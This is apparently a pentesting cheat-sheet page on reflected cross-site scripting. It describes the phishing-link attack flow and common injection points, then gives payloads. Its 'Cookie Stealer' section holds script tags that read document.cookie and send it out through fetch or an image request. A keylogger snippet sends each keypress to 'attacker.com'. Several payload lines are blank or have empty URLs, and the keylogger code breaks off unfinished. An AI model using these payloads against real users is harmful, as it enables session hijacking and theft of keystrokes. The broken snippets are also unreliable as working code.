XSS Reflected

Reflected XSS

This starts by an attacker crafting a malicious email and then encouraging a user to click it. The malicious URL is often placed within a phishing email, but it could also be placed on a public website, such as a link within a comment. When the user clicks the malicious URL, it sends an HTTP request to a server with the user's cookie which the attacker can use to hijack the user/admin account through what's called session hijacking. To summarize, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.

Entry points

  • Parameters in the URL Query String

  • URL File Path

  • Sometimes HTTP Headers

  • Search Fields

  • Comments section

  • Contact Forms

Example Payloads




[suitable for escaping input tags]

[suitable for escaping text areas]


Cookie Stealer

[1] JS

<script>fetch('' + btoa(document.cookie));</script>

[2] JS


[3] JS

<script>var myimg = new Image(); myimg.src = '' + document.cookie;</script>

[4] JS



<script>document.onkeypress = 
    function(e) {
        fetch('http://attacker.com/log?key=' + btoa(e.key));

Last updated